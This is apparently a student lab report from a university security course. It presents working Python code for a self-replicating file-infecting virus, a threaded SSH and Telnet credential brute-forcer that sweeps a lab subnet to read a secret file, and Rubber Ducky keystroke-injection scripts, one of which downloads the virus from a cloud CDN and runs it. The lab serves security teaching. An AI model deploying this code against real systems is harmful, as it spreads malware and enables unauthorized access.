CSE3140 — Lab 2

Mike Medved, Eddie Kruah

October 6th, 2022

Deliverables

Question 1

Part A

In order to print out all of the files in the current directory, we made a small Python script:

```
import os

if __name__ == '__main__':
    for file in os.listdir("."):
        if os.path.isfile(os.path.join(".", file)):
            print(file)
```

Part B

In order to check all files to see if they have been infected, and then infect them to run a custom payload, we modified our Part A script:

```
import os
import sys

if __name__ == '__main__':
    # Take in the target and make sure its a Python script
    target = sys.argv[1]
    if not target.endswith(".py"):
        sys.exit(1)

    """
    We can check if the file has already been infected by
    checking if any of the lines include the "virus" header
    we will generate.
    """
    injected = False
    with open(target, "r") as f:
        for line in f:
            if "## __virus" in line:
                injected = True
                break

    """
    If the file has not yet been infected, we can inject
    the virus payload to the end of the file. This payload
    will write all command line arguments into "Q1B.out"

    We will start the payload with "## __virus" so that
    we can later detect if the file has already been infected.
    """
    if not injected:
        with open(target, "a") as f:
            f.write("""
## __virus
import sys
import os

with open("Q1B.out", "a") as f:
    f.write(f"{' '.join(sys.argv)}\\n")
""")
```

Part C

This problem builds off of the previous two, with the script infecting all files in the directory like Part B, with a new payload that enables self-replication. The modified Part B script is found below:

```
import os
import sys

payload = """
## __virus
with open("Q1C.out", "a") as f:
    f.write(f"{' '.join(sys.argv)}\\n")
"""

if __name__ == '__main__':
    # check if virus source has been dropped yet
    # if not, drop it into /tmp/virus.py
    if not os.path.exists('/tmp/virus.py'):
        cwd = os.getcwd()
        script_name = os.path.basename(__file__)
        script_path = os.path.join(cwd, script_name)
        os.system(f'cp {script_path} /tmp/virus.py')

    # get the virus payload and try infecting
    # all files in the current directory with it
    with open('/tmp/virus.py', 'r') as f:
        virus = f.read()

        for file in os.listdir('.'):
            if not file.endswith(".py"):
                continue

            injected = False
            with open(file, "r") as f:
                for line in f:
                    if "## __virus" in line:
                        injected = True
                        break

            if not injected:
                with open(file, "a") as f:
                    f.write(virus)
```

Question 2

This problem was not completely finished, and is missing the final functionality of grabbing the Q2secret from the Telnet session(s) established, below is the code:

```
import os
import queue
import socket
import subprocess
import sys
import telnetlib
import threading
import time

import paramiko

ip_range = "172.16.48."
creds = []

with open("Q2pwd") as f:
    for line in f:
        user, password = line.split(" ")
        creds.append((user.strip(), password.strip()))

def ssh_connect(ip, creds):
    for user, password in creds:
        try:
            ssh = paramiko.SSHClient()
            ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
            ssh.connect(ip, username=user, password=password, timeout=0.5, banner_timeout=0.5)
            stdin, stdout, stderr = ssh.exec_command("cat ~/Q2secret")
            flag = stdout.read().decode("utf-8")
            if flag:
                print("[SSH] Obtained the secret: {}:{}:{}:{}".format(ip, user, password, flag))

            print("[SSH] Success: {}:{}:{}".format(ip, user, password))
            ssh.close()
        except paramiko.AuthenticationException:
            print("[SSH] Auth Failed: {}:{}:{}".format(ip, user, password))
        except:
            print("[SSH] Error: {}:{}:{}".format(ip, user, password))
            break

def telnet_connect(ip, creds):
    for user, password in creds:
        try:
            tn = telnetlib.Telnet(ip, timeout=0.5)
            tn.read_until(b"cse3140-HVM-domU login: ")
            tn.write(user + "\n")
            tn.read_until(b"Password: ")
            tn.write(password + "\n")

            tn.write("exit\n")

            print("[Telnet] Success: {}:{}:{}".format(ip, user, password))
        except socket.timeout:
            print("[Telnet] Error: {}:{}:{}".format(ip, user, password))
            break
        except Exception as e:
            print(e)
            if e.args[0] == "Login incorrect":
                print("[Telnet] Auth Failed: {}:{}:{}".format(ip, user, password))
            else: print("[Telnet] Unexpected Error: {}:{}:{}".format(ip, user, password))

def main():
    for ip in range(1, 255):
        ip = ip_range + str(ip)
        ssh_thread = threading.Thread(target=ssh_connect, args=(ip, creds))
        telnet_thread = threading.Thread(target=telnet_connect, args=(ip, creds))
        ssh_thread.start()
        telnet_thread.start()
        ssh_thread.join()
        telnet_thread.join()

if __name__ == "__main__":
    main()
```

In my supplemental video, we can see the secret, *Jl6qpY0DaN*, is found for host *172.16.48.24*.

Question 3

In order to execute the payload specified for this question, we wrote a Duckyscript and compiled it onto the Rubber Ducky in the lab.

The DuckyScript contained the following payload:

```
REM Question 3
REM Target: Windows
REM Stop script once Notepad is opened and names are written
DELAY 3000
GUI r
DELAY 750
STRING notepad
DELAY 750
ENTER
DELAY 750
STRING echo Mike
DELAY 750
ENTER
DELAY 750
STRING echo Eddie
DELAY 750
ALT f
DELAY 750
STRING s
DELAY 750
STRING q3.bat
DELAY 750
TAB
DELAY 750
DOWNARROW
DELAY 750
DOWNARROW
DELAY 750
ENTER
DELAY 750
ENTER
DELAY 750
GUI r
DELAY 750
STRING cmd.exe
DELAY 1000
ENTER
DELAY 750
STRING cd Documents
DELAY 750
ENTER
DELAY 750
STRING q3.bat
DELAY 750
ENTER
```

Question 4

Similarly to Question 3, we wrote a DuckyScript to execute the payload specified for this question.

```
REM Question 4
REM Target: Windows
REM Stop script once Python script is written and executed
DELAY 1000
GUI r
DELAY 500
STRING notepad
DELAY 500
ENTER
DELAY 500
STRING print("Hello World")
DELAY 500
ENTER
CONTROL s
DELAY 500
STRING C:\Temp\Q4script.py
ENTER
DELAY 500
GUI r
DELAY 500
STRING cmd
DELAY 500
ENTER
DELAY 500
STRING cd C:\Temp
ENTER
DELAY 500
STRING python3 Q4script.py
ENTER
```

Question 5

For question 5, I deployed the Q1C.py payload to a web-hosted CDN and pulled it down using the Invoke-WebRequest PowerShell cmdlet. This can be seen in the below DuckyScript:

```
DELAY 1000
GUI r
DELAY 500
STRING powershell
DELAY 500
ENTER
DELAY 500
STRING Invoke-WebRequest -Uri https://ilefa-cdn.s3.amazonaws.com/Q1C.py -OutFile Q1C.py
DELAY 1000
ENTER
DELAY 1000
STRING python3 Q1C.py
DELAY 1000
ENTER
```